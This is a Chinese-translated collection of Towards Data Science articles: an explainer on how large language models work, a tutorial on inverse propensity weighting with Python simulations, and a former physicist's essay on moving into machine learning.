陷阱困住!😂)
到头来,我只是非常感激那些优秀的人们致力于让已经很好的东西变得更好。当 Numpy 和 Pandas 最初推出时,相比于普通的 Python,其性能提升是令人惊叹的,甚至让人觉得再也无法更好。然而,Polars 的出现向我们展示了我们可以做得更好。这真是太棒了。感谢 Polars 团队的辛勤工作,我期待着看到 Polars 的发展!🐻❄️
对 ChatGPT 等模型如何工作的直观理解
原文:
towardsdatascience.com/an-intuition-for-how-models-like-chatgpt-work-c7f01616bd6d
提供对流行的变换器模型如 ChatGPT 及其他大型语言模型(LLMs)背后思想的直观理解
·发表于 Towards Data Science ·阅读时间 10 分钟·2023 年 12 月 30 日
--
作者创建的标题卡
随着 2023 年的结束,想到生成式 AI 已经对我们的日常生活产生了如此大的影响,真是令人难以置信。自从 2022 年 11 月 ChatGPT 发布以来,这个领域发展如此迅速,以至于难以相信所有这些进展仅仅发生在一年之内。
尽管结果相当惊人,但其背后的复杂性使得很多人公开猜测这些大型语言模型(LLMs)的工作原理。有些人猜测这些模型是从预设的响应数据库中提取信息的,还有人猜测这些 LLMs 已经获得了人类水平的意识。这些都是极端的观点,正如你所猜测的,都是不正确的。
你可能听说过这些大型语言模型(LLMs)是下一个词预测器,也就是说它们使用概率来确定句子中应该出现的下一个词。这种理解在技术上是正确的,但对于充分理解这些模型来说,略显抽象。为了建立更强的直觉,我们需要深入探讨。这篇文章的目的是为商业领袖提供足够深入的理解,以便他们能够做出明智的决策,从而适当地接触生成式 AI,以满足各自公司的需求。我们将保持在更具概念性和直观的层面,避免深入探讨这些模型背后的复杂数学。
理解语言
考虑这个句子:“我喜欢在早晨喝 ______。”你会如何判断如何填补这个空白?大多数合理的人可能会填入咖啡、水或果汁。更搞笑的可能会说啤酒或酸奶,但所有这些不同的选项都集中在一个重要的语境线索上:饮用。这本身就缩*了空白的可能性,但那些理解了整个句子语境的人还注意到“早晨”这个词,从而进一步缩*了语境。换句话说,“饮用” + “早晨” = 一种早餐饮料。
对我们来说,这很简单,因为我给出的短语是英文的,而你大概也是用英文阅读的。但是,如果我们没有直接理解诸如“饮料”和“早晨”这些语境词汇的能力,我们怎么能正确地填补那个空白呢?
这正是计算机面临的困境。计算机对世界没有语义理解,因为在计算机的 CPU 或 GPU 的核心部分,它只是以极快的速度处理一堆一和零。换句话说,它没有直觉去理解天空是蓝色的、早晨是什么,或者比萨饼有多么美味。
所以你可能会想,计算机如何解决这个问题呢?
我实际上通过玩一款新的独立视频游戏《塞那尔的咏唱》来亲身体验了这个概念。在游戏中,玩家控制一个角色,这个角色身处一个人们用可解读的象形文字交流的世界。随着游戏的进行,玩家通过环境中展示的语境线索逐渐适应。例如,你早期学到的两个词是“你”和“我”,这是因为一个非玩家角色(NPC)在说“我”的象形文字时指向自己,而在说“你”的象形文字时指向玩家角色。这非常类似于你想象的历史学家如何将埃及象形文字翻译成更现代的语言。
在这些情况下,单个字符到底是什么并不重要。在《塞那尔的咏唱》中,无论玩家说什么语言,你都可以避免学习这种类似象形文字的语言。这些字符是虚构的,重要的是两个方面:一致性和语境。接下来让我们深入探讨这些概念。
一致性通过排序
你使用单词的顺序必须在时间上保持相对一致。在英语中,几乎所有的句子都遵循典型的主谓结构。虽然像西班牙语这样的语言往往根据主语改变动词,但它仍然是一种与英语一样有效的语言。例如,考虑句子“我去商店”。在西班牙语中,这句话翻译为“Me voy a la tienda”。这两种语言使用了不同的单词和略有不同的单词顺序,但都表达了去商店的相同意思。这使得这两种语言都是有效的。
当然,这个相同的原则超越了英语和西班牙语,适用于所有语言,无论是口头还是书面语言。为什么?单词的顺序比单词本身更重要。
对于一个以二进制的 1 和 0 操作的计算机来说,这无疑是个好消息。如果单词本身并不重要,那意味着我们可以根据需要重新定义它们。在我们的计算机中,它希望处理数字,因此它将单词转换为数字向量。我们称这个将单词转换为向量的过程为编码过程,而我们称这个过程的输出——数字向量——为嵌入。
你可能不会感到惊讶,这个简单的编码过程并不新鲜。将单词转化为计算机可以操作的形式从来都不是问题。挑战在于,研究人员不得不花费数十年时间尝试使用不同的数学算法来理解这些嵌入。
不深入细节,这一努力被称为自然语言处理(NLP)领域,它有着丰富的历史,我们留待另一天讨论。多年来出现了许多 NLP 技术,许多技术今天在某些场景下仍然有效。实际上,其中一些技术在某些用例中甚至比大型语言模型(LLMs)更有效,使得它们在解决今天的一些问题时仍然值得推荐。
一个重大的自然语言处理突破集中在这个相同的单词顺序一致性的重要性上。2014 年,谷歌的研究人员发现了一种有效地编码句子并随后以特定方式“解码”它以获得有益结果的方法。例如,他们可以将一个英语句子传入这个编码器-解码器架构,然后在另一端弹出同一个句子,但用西班牙语表示。他们将这种序列到序列的架构称为seq2seq。
记住,我提到过在语言中,两个最重要的特征是一致性(在顺序上)和上下文。seq2seq 有助于解决一致性的问题,但上下文呢?
上下文线索
上下文在接下来的几年里仍然是一个棘手的概念,因为早期的编码器-解码器架构,如 seq2seq,并没有很好的管理上下文的方法。研究人员尝试了不同的方法,包括引入了某种有效的长短期记忆(LSTM)单元,在这种方法中,神经网络试图保持整个句子的历史上下文。例如,考虑以下句子:“不要让*偷进来,以免他偷走我们所有珍贵的财物和物品。”想象一下如果一个模型记录了这个句子中每个单词的上下文,除了第一个单词。那么你会得到与句子相反的意图!LSTM 旨在通过尽可能多地保留早期上下文来纠正这些错误。从数学上讲,这意味着保留一些数字以代表“长期记忆”,同时对更多的“短期记忆”给予相等或额外的权重。
尽管如此,LSTM 并没有完全解决问题,如果你考虑上下文,你会理解这因为并不是所有的单词都有相等的权重。让我们重新审视一下原始示例,“我早晨喜欢喝 ______。”在这种情况下,最重要的单词是“drink”,它帮助我们填补空白。因此,我们应该给予这个单词更多的权重,或者你可以说,我们应该对这个单词给予更多的注意。“注意力”正是谷歌研究人员在他们臭名昭著的 2017 年论文《注意力机制才是你所需要的一切》中提到的。
神经网络中的注意力机制是一个复杂的数学过程,但我们仍然可以在直观层面上理解它。正如我们已经提到的,信息首先通过嵌入过程被编码,这样我们就可以对不同的单词序列进行逐一比较。这些信息随后会通过一个解码器,生成一个新的单词序列,以响应我们给模型的输入。虽然我们演示了如何输入一句英文并生成西班牙语翻译,我们也可以输入像“伊利诺伊州的首都是什么?”这样的内容,并仍然得到恰当解码的输出:“伊利诺伊州的首都是斯普林菲尔德。”
记住,注意力机制就是在上下文中对重要单词给予关注,以产生更准确的输出。这是通过在解码过程中评估一个单词与编码过程中所有单词的相似性来完成的。考虑我们前面段落中的示例。假设解码器模型已经生成了输出:“伊利诺伊州的首都是 _______。”它如何知道如何填补这个最后的空白?它将查看当前解码的单词与编码过程中的所有单词的相似程度。具体来说,它会看到“capital”和“Illinois”之间的强相关性/相似性,从而推导出最可能的答案,在这个例子中是“Springfield”。
当然,你可以想象,为了有效地产生更具普遍性的输出,LLMs 需要大量的示例,这就是为什么我们称它们为“大型”语言模型。一般来说,我们在训练过程中向 LLM 提供的示例(或 参数)越多,它预测正确单词的机会就越大。当然,我们简化了这个概念,影响生成 AI 模型输出的因素还有很多细微之处。例如,人们开始发现 专家混合(MoE) 模型的有效性,其中“*型”模型在更具体的知识领域进行训练,然后组合以产生更有成效的结果。事实上,有传言称这就是 OpenAI 的热门 GPT-4 在后台工作的方式。
处理陷阱与误区
尽管 LLMs 很酷,但它们并不完美,并且不总是产生最正确或最相关的结果。我们将这些自信但不正确的回答称为 幻觉,但从技术上讲,将幻觉称为不正确对 LLM 来说是不公平的。请记住,正如我们在本文中探讨这些模型背后的直觉时,我们对如何使用非常复杂的概率方法得出结果有一个大致的了解。这些模型中没有感知推理;它们只是根据训练过程预测概率。 你不能真正责怪模型遵循经验推导的概率!
如果你使用不同种类的 LLM,这一点尤其明显。你可能只熟悉 ChatGPT,但如果你尝试足够多的 LLM,你会注意到结果有很大不同。例如,有传言称 ChatGPT 的基础模型 gpt-3.5-turbo
是在 700 亿个参数上训练的。现在我们有像 Meta 的 Llama 2 这样的模型,参数数量低至 70 亿,相当于 gpt-3.5-turbo
的十分之一。在实践中,这些模型之间的性能差异非常明显。(当然,像 Mistral 这样的较*模型也在不断改进,甚至接近 ChatGPT 的表现!)
模型产生幻觉的倾向应该让企业领导在将生成 AI 应用于业务流程时三思。在这些早期的 LLM 日子里,也许更合适的是包含一个“人工干预”机制,其中人工将生成 AI 用于辅助工作过程,但如果人工认为模型的结果不好,可以“推翻” LLM 的回答。当然,这些模型随着时间的推移会变得越来越好,所以企业领导可能会随着时间的推移放宽一些限制。这将取决于企业的风险承受能力。
此外,应该注意的是,这些大型语言模型可能表现出不公平的偏见,尽管这并非意味着这种偏见是故意的。我喜欢把 LLMs 看作是“时代精神机器”。如果 LLMs 是基于高级概率的下一个词预测器,那么预测的准确性只取决于它在训练时看到的数据。所以,如果你只用一堆讨论披萨味道糟糕的文本来训练一个 LLM,不要感到惊讶它倾向于对披萨发表负面评论!同样,在线上对 LLMs 表现出不公平偏见的投诉是正确的,但这只是因为训练数据的“时代精神”倾向于这种方式。例如,如果训练数据包含了很多批评某个政治候选人的文章,那么 LLM 对该候选人表现出不公平的偏见也就不足为奇了。相信这种偏见是故意嵌入模型中的是一种误解。
最后,我们应该讨论版权侵犯的问题。因为 LLMs 测量单词之间的高级概率,所以这些 LLMs 能够模拟受版权保护的作品也就不足为奇了。之所以使用“模拟”一词,是因为 LLMs 由于复杂的概率问题无法完整再现受版权保护的作品。因此,我可以让 LLM 像《哈利·波特》系列中的海格或《星球大战》中的贾贾·宾克斯一样与我对话,但它会很难完全再现这些电影剧本中的对话。换句话说,不要指望 LLM 能够充分再现整个《哈利·波特》书系列。这实在太长了,而且这些单词的概率变得过于复杂。
尽管如此,版权侵犯的领域依然混乱,这似乎是那些训练大型语言模型(LLMs)的公司面临的问题,而不是仅仅使用这些模型的公司面临的问题。现在,虽然一个公司在使用他人的 LLM 时仍然应该设法设置防护措施,确保不会故意再现受版权保护的作品,这通过适当的提示工程是可以做到的。但像 OpenAI 这样的公司目前正面临一个法律困境,即是否在最初的训练过程中合法使用了他人的数据。根据这篇文章发布时的情况,纽约时报正在起诉 OpenAI 和微软,指控他们的不当使用了其新闻数据来训练模型。我不是这些法律问题的专家,但观察这些案件将很重要,以了解立法如何影响 LLMs 的未来发展。
生成式人工智能领域是一个极具吸引力的领域,我很期待看到未来这个领域如何持续发展。我们仍处于这场变革的早期阶段,我预期我们将继续看到在采纳、技术演进和法律理解方面的进展。我希望这篇文章能为你提供足够的直觉,以便你能在以适当的谨慎态度接触这一激动人心的领域时做出更明智的决策! 😃
逆倾向加权在因果推断中的直观解释
通过一个简单的例子理解逆倾向加权的根源。
·
关注 发表在 数据科学前沿 ·8 分钟阅读·2023 年 1 月 18 日
--
一种公认的因果推断方法基于逆倾向加权(IPW)。在这篇文章中,我们将使用一个简单的例子来建立对 IPW 的直观理解。具体而言,我们将看到如何从简单的加权平均推导 IPW,以便在因果评估中考虑不同的处理分配率。
让我们考虑一个简单的例子,我们想要估计进行营销优惠券活动对顾客支出的平均效果。我们在两个商店中运行此活动,通过随机将优惠券分配给现有顾客。假设两个商店的顾客数量相同,而我们不知道的是,处理顾客的支出在商店 1 和商店 2 中分别呈N(20,3²)和N(40,3²)的分布。
在整个例子中,Yi(1)表示个体在收到优惠券时的支出,Ti=1,而Yi(0)表示他们在未收到优惠券时的支出,Ti=0。这些随机变量称为潜在结果。观察到的结果Yi与潜在结果的关系如下:
我们的估计量,即我们想要估计的内容,是在给定优惠券的情况下的总体平均支出,E[Yi(1)]。如果我们在两个商店中随机分配相同数量的优惠券给顾客,我们可以通过简单地平均处理顾客的观察支出来获得这个无偏估计,即 0.5∗$20+0.5∗$40=$30。
从数学上看,这如下所示:
第一个方程是由于潜在结果,最后一个方程则源于随机分配处理,这使得潜在结果与处理分配独立:
简单平均
我们定义一个函数,该函数生成 2000 个顾客的样本,随机将其中 50%的人分配到两个商店的处理组,并记录他们的平均支出。我们还将运行一个模拟,该模拟调用此函数 1000 次。
def run_campaign(biased=False):
true_mu1treated , true_mu2treated = 20 , 40
n, p , obs = 1, .5 , 2000 # number of trials, probability of each trial,
# number of observations
store = np.random.binomial(n, p, obs)+1
df = pd.DataFrame({'store':store})
probtreat1 = .5
if biased:
probtreat2 = .9
else:
probtreat2 = .5
treat = lambda x: int(np.random.binomial(1, probtreat1, 1))\
if x==1 else int(np.random.binomial(1, probtreat2, 1))
spend = lambda x: float(np.random.normal(true_mu1treated, 3,1))\
if (x[0]==1 and x[1]==1)\
else ( float(np.random.normal(true_mu2treated, 3,1) ) )
df['treated'] = df['store'].apply(treat)
df['spend'] = df[['store','treated']].apply(tuple,1).apply(spend)
simple_value_treated = np.mean(df.query('treated==1')['spend'])
return [simple_value_treated]
sim = 1000
values = Parallel(n_jobs=4)(delayed(run_campaign)() for _ in tqdm(range(sim)))
results_df = pd.DataFrame(values, columns=['simple_treat'])
以下图表显示了平均支出的分布围绕真实均值集中。
作者的图 1
现在,假设由于某种原因,第二家商店将 90%的优惠券分配给顾客,而第一家商店则分配给 50%的顾客。如果我们忽略这一点,并使用之前相同的方法计算所有处理顾客支出的平均值会发生什么?由于第二家商店的顾客治疗率更高,他们的平均支出在我们的估计中将占据更大的权重,从而导致上升偏差。
换句话说,我们不再有真正的随机实验,因为现在收到优惠券的概率取决于商店。此外,由于两个商店中处理顾客的平均支出也有很大不同,因此顾客所属的商店在因果推断中是一个混杂变量。
从数学上讲,如果我们使用处理顾客的简单平均支出,这次,得到的结果将不是:
我们得到的是:
确实,通过重复模拟和绘制结果,我们看到平均支出的分布现在远离真实均值。
sim = 1000
values = Parallel(n_jobs=4)(delayed(run_campaign)(biased=True) for _ in tqdm(range(sim)) )
results_df = pd.DataFrame(values, columns=['simple_treat'])
作者图 2
加权平均
然而,一切并未丧失。由于我们知道实验出现了问题,因为商店之间的分配率不同,我们可以通过对处理顾客支出的加权平均进行修正,其中权重代表每家商店中顾客的比例。这意味着,我们可以在考虑商店信息后恢复随机处理分配:
其中 Xi 表示顾客 i 在商店中的会员身份
并获得我们因果估计量的无偏估计 E[Yi(1)]。
数学计算如下:
其中第一个方程是由于迭代期望定律,第二个方程是由于条件独立性。
设 n1 和 n2 分别表示两家商店中的顾客数量。同样,设 n1T 和 n2T 表示两家商店中处理过的顾客数量。那么上述估计量可以从数据中计算得出:
确实,如果我们重复之前的抽样过程
def run_campaign2():
true_mu1treated , true_mu2treated = 20, 40
n, p , obs = 1, .5 , 2000 # number of trials, probability of each trial,
# number of observations
store = np.random.binomial(n, p, obs)+1
df = pd.DataFrame({'store':store})
probtreat1 = .5
probtreat2 = .9
treat = lambda x: int(np.random.binomial(1, probtreat1, 1))
if x==1 else int(np.random.binomial(1, probtreat2, 1))
spend = lambda x: float(np.random.normal(true_mu1treated, 3, 1))
if (x[0]==1 and x[1]==1)
else ( float(np.random.normal(true_mu2treated, 3, 1) ) )
df['treated'] = df['store'].apply(treat)
df['spend'] = df[['store','treated']].apply(tuple,1).apply(spend)
simple_value_treated = np.mean(df.query('treated==1')['spend'])
prob1 = df.query('store==1').shape[0]/df.shape[0]
prob2 = df.query('store==2').shape[0]/df.shape[0]
est_mu1treated = np.mean(df.query('treated==1 & store==1')['spend'])
est_mu2treated = np.mean(df.query('treated==1 & store==2')['spend'])
weighted_value_treated = prob1*est_mu1treated + prob2*est_mu2treated
return [simple_value_treated, weighted_value_treated]
sim = 1000
values = Parallel(n_jobs=4)(delayed(run_campaign2)() for _ in tqdm(range(sim)) )
results_df = pd.DataFrame(values, columns=['simple_treat','weighted_treat'])
我们看到加权平均的平均值再次正好等于真实均值。
作者图 3
IPW
现在,让我们通过重新编写商店 1 的平均支出来进行一些代数操作:
对商店 2 进行相同操作并将结果代入,我们得到如下:
设商店 1 中处理顾客的比例为
对于商店 2 同样如此,那么我们可以将之前的方程简化为:
其中 p(Xi) 是在混杂变量条件下接受处理的概率,也就是 倾向评分,
注意,我们从一个加权平均开始,最后得到的只是另一个使用
作为权重。这就是著名的 逆倾向加权估计量。
使用这个估计量进行之前的分析
def run_campaign3():
true_mu1treated , true_mu2treated = 20, 40
n, p , obs = 1, .5 , 2000 # number of trials, probability of each trial,
# number of observations
store = np.random.binomial(n, p, obs)+1
df = pd.DataFrame({'store':store})
probtreat1 = .5
probtreat2 = .9
treat = lambda x: int(np.random.binomial(1, probtreat1, 1))
if x==1 else int(np.random.binomial(1, probtreat2, 1))
spend = lambda x: float(np.random.normal(true_mu1treated, 3, 1))
if (x[0]==1 and x[1]==1)
else ( float(np.random.normal(true_mu2treated, 3, 1) ) )
df['treated'] = df['store'].apply(treat)
df['spend'] = df[['store','treated']].apply(tuple,1).apply(spend)
prob1 = df.query('store==1').shape[0]/df.shape[0]
prob2 = df.query('store==2').shape[0]/df.shape[0]
simple_value_treated = np.mean(df.query('treated==1')['spend'])
#estimate propensity score:
ps1 = df.query('treated==1 & store==1').shape[0]/df.query('store==1').shape[0]
ps2 = df.query('treated==1 & store==2').shape[0]/df.query('store==2').shape[0]
df['ps'] = pd.Series(np.where(df['store']==1, ps1, ps2))
ipw_value_treated = np.mean( (df['spend']*df['treated'])/df['ps'])
return [simple_value_treated, ipw_value_treated]
sim=1000
values = Parallel(n_jobs=4)(delayed(run_campaign3)() for _ in tqdm(range(sim)) )
results_df = pd.DataFrame(values, columns=['simple_treat','ipw_treat'])
给我们之前相同的无偏估计。
作者图 4
估计平均处理效果
现在,我们的终极目标是了解营销活动产生的平均增量支出,也就是平均处理效果。为了做到这一点,我们还需要估计没有获得优惠券的总体平均支出 E[Y_i(0)] 并将其与 E[Y_i(1)] 进行比较。我们的估计量现在是:
为此,首先我们对未处理组重复相同的论证,得到 E[Y_i(0)] 的无偏估计如下:
最后将它们结合起来估计影响:
现在,让我们将之前的分析扩展到估计活动的影响。假设未处理顾客在两家商店中的支出分布为 N(10,2²),因此活动的真实效果为 0.5$10 + 0.5$30 = $20。
def run_campaign4():
true_mu1treated , true_mu2treated = 20, 40
true_mu1control , true_mu2control = 10, 10
n, p , obs = 1, .5 , 2000 # number of trials, probability of each trial, number of observations
store = np.random.binomial(n, p, obs)+1
df = pd.DataFrame({'store':store})
probtreat1 = .5
probtreat2 = .9
treat = lambda x: int(np.random.binomial(1, probtreat1, 1))
if x==1 else int(np.random.binomial(1, probtreat2, 1))
spend = lambda x: float(np.random.normal(true_mu1treated, 3, 1))
if (x[0]==1 and x[1]==1)
else ( float(np.random.normal(true_mu2treated, 3, 1) )
if (x[0]==2 and x[1]==1)
else (float(np.random.normal(true_mu1control, 2, 1) ) if (x[0]==1 and x[1]==0)
else float(np.random.normal(true_mu2control, 2, 1)) )
df['treated'] = df['store'].apply(treat)
df['spend'] = df[['store','treated']].apply(tuple,1).apply(spend)
prob1 = df.query('store==1').shape[0]/df.shape[0]
prob2 = df.query('store==2').shape[0]/df.shape[0]
simple_value_treated = np.mean(df.query('treated==1')['spend'])
simple_value_control = np.mean(df.query('treated==0')['spend'])
simple_tau = simple_value_treated - simple_value_control
est_mu1treated = np.mean(df.query('treated==1 & store==1')['spend'])
est_mu2treated = np.mean(df.query('treated==1 & store==2')['spend'])
weighted_value_treated = prob1*est_mu1treated + prob2*est_mu2treated
est_mu1control = np.mean(df.query('treated==0 & store==1')['spend'])
est_mu2control = np.mean(df.query('treated==0 & store==2')['spend'])
weighted_value_control = prob1*est_mu1control + prob2*est_mu2control
weighted_tau = weighted_value_treated - weighted_value_control
#estimate propensity score:
ps1 = df.query('treated==1 & store==1').shape[0]/df.query('store==1').shape[0]
ps2 = df.query('treated==1 & store==2').shape[0]/df.query('store==2').shape[0]
df['ps'] = pd.Series(np.where(df['store']==1, ps1, ps2))
ipw_value_treated = np.mean( (df['spend']*df['treated'])/df['ps'])
ipw_value_control = np.mean( (df['spend']*(1-df['treated']) )/(1-df['ps'] ))
ipw_tau = ipw_value_treated - ipw_value_control
return [simple_tau, weighted_tau, ipw_tau]
sim=1000
values = Parallel(n_jobs=4)(delayed(run_campaign4)() for _ in tqdm(range(sim)) )
results_df = pd.DataFrame(values, columns=['simple_tau','weighted_tau','ipw_tau'])
如下所示,加权平均数和 IPW 估计器的中心都围绕着真实效应$20,而不控制商店会员的简单平均数的分布则围绕着$23,偏离真实效应 15%。
作者图 5
结论
IPW 估计器在因果推断中有着悠久的历史。这篇文章的目标是通过一个简单的例子来培养对这一著名估计器的直觉。通过一个营销案例,我们看到该方法的标志性特征是纠正不平等的处理分配机制。此外,我们还展示了该方法是加权平均估计器的扩展。
参考文献
[1] 理查德·K·克朗普,V·约瑟夫·霍茨,圭多·W·因本斯,奥斯卡·A·米特*克。处理有限重叠以估计平均处理效应。(2009 年),Biometrika。
[2] 斯特凡·瓦格尔,Stats 361: 因果推断(2020 年春季),斯坦福大学。
代码
该分析的代码可以在我的 GitHub 仓库中找到。
感谢阅读!
我的目标是记录自己的学习,并与可能觉得有用的他人分享。如果您发现任何错误或有任何评论/建议,请告知我。
赠献给我的物理学博士学位。
关于五年物理学与向机器学习过渡的感想
·
关注 发表在 Towards Data Science · 10 分钟阅读 · 2023 年 7 月 18 日
--
图片来自 Unsplash。
一年前,我进行了博士论文答辩。由于房间四周都是窗户,大家习惯称之为“鱼缸”,让路过的人可以窥视进来。那天是星期五下午 4 点,这是我所有委员会成员唯一能参加的时间。经历了不可避免的视听设备故障后,我向朋友、家人和物理学家们展示了大约一个*时的内容,主题是“对称保护拓扑的惊人持久性”。然后,我与答辩委员会进行了简短的私人会议,深入探讨了我研究项目的技术细节,以检验我对研究的理解深度。5:30 时,我带着物理学博士学位走出了房间。
我平静地走下两层楼,走到外面,迎接到一个晴朗明亮的周五下午的帕洛阿尔托,发现我的父母和最好的朋友在等待祝贺我,并送上香槟。我的平静外表崩溃了,我开始哭泣。
那一天——那一刻——代表了一个顶点。它是五年的课程、教学和研究的高潮;是艰难地解读难以理解的方程式的漫长日子和回应评审报告问题的漫长夜晚;是无数次的啊哈!时刻,其中大多数结果都是错的;以及对我是否能够完成的无处不在的恐惧。
站在斯坦福大学杜兰德大楼的露台上,与我的父母、室友和伴侣在一起,我充满了喜悦、感激,尤其是释然。至少在那一刻,我可以暂时抛开自我怀疑和无尽的存在恐惧。在那短暂的一刻,我可以为自己感到自豪。
同时,这一刻无疑是甜中带涩的:它标志着我在物理学上投入的时间的结束。我不知道博士后生活会给我带来什么,但我知道物理学将不再是一个指导力量。
斯坦福校园,我在这里完成了我的物理学博士学位。图片由 Unsplash 提供。
在开始攻读博士学位之前,我就知道学术界不是我的道路。在我的物理学新生群体中,这是一个相当特殊的情绪。现在,我的大多数同学已经毕业,其他人也离开了学术界。但对大多数人来说,这并不是他们最初的意图。从一开始,我就决定在获得学位后进入工业界。实际上,这也是我选择在旧金山湾区攻读研究生学位的原因!
我知道这一天会到来。但我并没有准备好面对现实。
物理学一直是我生活的一部分。我的许多决策都受到对对称性、秩序、普遍性和涌现等概念的痴迷驱动。
这种痴迷使我在本科时学习了物理学、数学和哲学(顺便说一下,这意味着我拥有物理学和哲学的学士学位,以及物理学的博士学位,我总觉得这很有趣!);与斯蒂芬·沃尔夫拉姆在沃尔夫拉姆研究所合作;并攻读凝聚态物理理论博士学位,这是物理学的一个子领域,关注秩序与对称性之间的相互作用如何导致新的物质相。
更重要的是,多年来我一直把自己视为物理学家。物理学不仅仅是我学习的学科或我发现无尽迷人的理念的伞;它是我身份的一部分。物理学影响了我处理新问题的方式以及我与物理现实互动的方式。它塑造了我看待世界和我在其中的位置的方式。
对许多有志于成为物理学家的人来说,博士答辩标志着他们的出现。虽然它可能有些过时,但博士学位作为学术界成员的证明;验证了在学科内容、主题和细节上的多年“训练”已见成效。
对我来说,这一刻也意味着一次离别。我正在离开物理学,在接下来的几个月里,我将面临从“物理学家”到“正在恢复的物理学家”的身份危机。
在接下来的一个月里,我花了很多时间在互联网上搜索,包括个人和职业网络内外,寻找那些最近从理论物理学转型到行业的人。我联系了我能找到的所有人,涵盖了不同的行业、角色和职业阶段,对大多数人的热情和响应感到惊喜。
更大的惊讶来自于听他们的故事。我与之交谈的大多数在行业中的前物理学家在博士毕业五年后对自己职业的现状感到满意——有些人甚至更早。但是,在反思他们的经历时,每个人表达的主流情感是挫折、失望、谦逊和遗憾的结合。
在物理学中,常常会被告知从物理学开始,你可以做任何事。人们看到一个前量子物理学家在金融行业;一个来自 CERN 的研究员现在是科技公司 AI 研究的负责人;一个曾经的弦理论学家现在伪装成海洋学家,他们认为物理学让你为一切做好了准备,一次性地。不过,“他们”并不是错的,但这个画面具有误导性。
当然,到处都有前物理学家。的确,“物理思*”是许多职业的宝贵基础。然而,从我自己的经历以及与他人的对话来看,我认为这更多是关于物理给予个人的,而不是吸引到物理学的人。
无论你尝试转型到哪个领域,都有一些人花费多年时间研究和磨练他们的技能。物理学不能替代技能,当然也不能替代知识。事实上,没有任何东西能替代时间的投入。结果证明,大多数公司雇佣的是技能——特别是在经济衰退期间。
这里就是前面提到的谦逊之处。尽管在声誉卓著的期刊上发表了论文,沉浸于大量的数学方程式中,并学会了如何应对模糊的研究问题,但许多进入行业的物理学家在找工作时遇到了困难。
图片由 Unsplash 提供。
一位朋友告诉我他为找工作而努力了六个月,在这段时间里,他申请了超过一百个职位,最后才收到一个录用通知。还有人对只被邀请面试的职位感到羞愧,这些职位远低于他们的教育水平。当他们开始工作时,许多人对自己在攻读博士学位之前就能胜任这些工作的能力感到沮丧。
为了成功,我一遍又一遍地听到,你必须从头开始。一位曾经是弦理论学者的朋友在从事机器学习的工作时总结了一句话:
“我不认为自己是物理学家。我回顾在物理学中的时光就像一场模糊的梦。”
当我开始认真申请工作时,在大规模裁员和招聘冻结的背景下,我感受到的主要情绪是焦虑和沮丧,并夹杂着自我厌恶的情绪。
我对气候科技感兴趣,但所有看起来有趣的职位要么因为经济前景被裁撤,要么是我不具备资格的职位。
我也对机器学习感兴趣,而这是一个似乎不受招聘冻结影响的领域,所以我决定将精力集中在这里。我对 Leetcode 问题、脑筋急转弯或白板问题没有问题,因此当我能获得面试时,我通常能进入最终轮。但我一直收到拒绝,因为我的软件工程技能不够强。回顾这一点,我完全理解他们的意思,以及为什么我没有收到这些录用通知。
我开始焦虑自己找不到工作。我对求职过程越来越感到沮丧。同时,我对自己感到不满,因为我把自己放在了这种位置上,花了五年时间攻读一个我并不打算继续从事的领域的博士学位。我本可以做任何事,但我选择了研究对称性、拓扑学和涌现。
我已经不再称自己为物理学家,但我还没有找到可以取代它的身份。当然,通过职业来定义自我本身就是一个问题——这是我至今仍在努力解决的。
在十月,就在我的焦虑开始转变为绝望时,情况有所好转。我迅速收到了一些来自重视我非传统经验和技能的公司的录用通知。
Leap of faith. 图片由 Unsplash 提供。
我很幸运在一家令人惊叹的 A 轮创业公司 Voxel51 找到了归宿,在那里我接受了机器学习工程师兼开发者关系传播者的职位。Voxel51 团队给了我一个机会——尽管我的软件工程经验和机器学习接触有限,他们还是聘用了我作为机器学习工程师;尽管我对开发者关系的概念还很陌生,他们还是让我加入了他们的开发者关系工作!
回顾过去,我认为Voxel51为什么聘用我,以及为什么这个职位取得成功,归结起来有三个原因:
-
使命对齐:Voxel51 的使命是为世界的数据带来清晰和透明。近十年来,我一直努力使物理学中的概念、思想和研究结果变得可及(个人博客、耶鲁科学杂志、物理世界等)。物理本身是不可转移的,但我努力的精神与公司的使命紧密对齐。
-
学习是核心:作为开发者推广员的一部分,持续学习和探索新技术是非常重要的,而机器学习如今发展如此迅速,以至于每个人都需要不断学习以保持与时俱进。因此,学习曾经是(并且仍然是!)这份工作的核心组成部分。通过与 Voxel51 的合作,我和 Voxel51 成功地将一个潜在的弱点(知识的空白)转化为优势,通过创建源自我经历的教育内容!
-
创业公司思*:当大型公司招聘时,他们通常寻找能够完成非常具体任务的人。因此,他们会寻找具备非常特定技能和经验的人。在创业公司中,每个人都必须身兼多职,个人可以创造价值的方式有很多。这并不总是那么明确,但通常来说,我发现具有非传统技能集——包括博士学位的人——在灵活、常常模糊不清和不断变化的创业环境中能够蓬勃发展。
我在 Voxel51 待了将近九个月,已经学到了很多东西。我学习了软件工程、计算机视觉和生成性 AI;我还学习了市场营销、开发者关系和社区管理。我还学到了很多关于自己的事情:哪些类型的工作让我感到兴奋,我如何与他人合作,以及如何平衡工作与生活(仍在进行中)。在过去的一年里,我学到的知识与研究生阶段的任何一年一样多。我仍然在不断学习!
距离物理博士学位已经过去一年,心中的怨恨终于开始减退。我曾因为花费五年时间进行物理研究而对自己非常不满,以至于忽视了更大的图景。我并不是为了职业发展才攻读物理博士学位。我选择攻读博士学位是因为我热爱物理,并且我想有机会深入探索关于我们宇宙的基本问题。能够做到这一点是一种奢侈——对此我深感感激。
我感激我的导师资助我,并允许我从事我感兴趣的项目,也感激我从博士后和教授那里获得的指导。我发表了经过同行评审的论文,为庞大的科学知识体系做出了(即便是微不足道的)贡献。我对物理学有了更深刻、更广泛的理解。我还结识了许多在物理学及其他领域做出杰出工作的酷人。
我还非常感激许多间接源自攻读物理学博士学位的经历。我在 Google X 担任了博士量子研究员的实习;我加入了《Physics World》成为学生撰稿人;我第一次真正体验了创业;我与最好的朋友们一起生活了三年;我还遇到了我的伴侣。
我仍然把自己看作是一个正在恢复中的物理学家,但现在我也看到了我带走了什么。曾几何时,学习物理学是我的梦想,而我实现了这个梦想。我将永远热爱物理学。
我进入了职业生涯的新阶段,并且也喜欢我现在的工作。我离开物理学的时间越长,我对更广泛的主题和观点的兴趣就越浓。我发现自己被追求卓越、学习过程本身以及对真实、可触及影响的渴望所吸引。
不必永远做物理学家也没关系。拥有一个新的梦想也没关系。
谢谢你,物理学。
永远属于你的,
雅各布
雅各布·马克斯
斯坦福大学物理学博士‘2022
2024 年 Microsoft Fabric 概述
原文:
towardsdatascience.com/an-overview-of-microsoft-fabric-going-into-2024-cd51a18c07b5
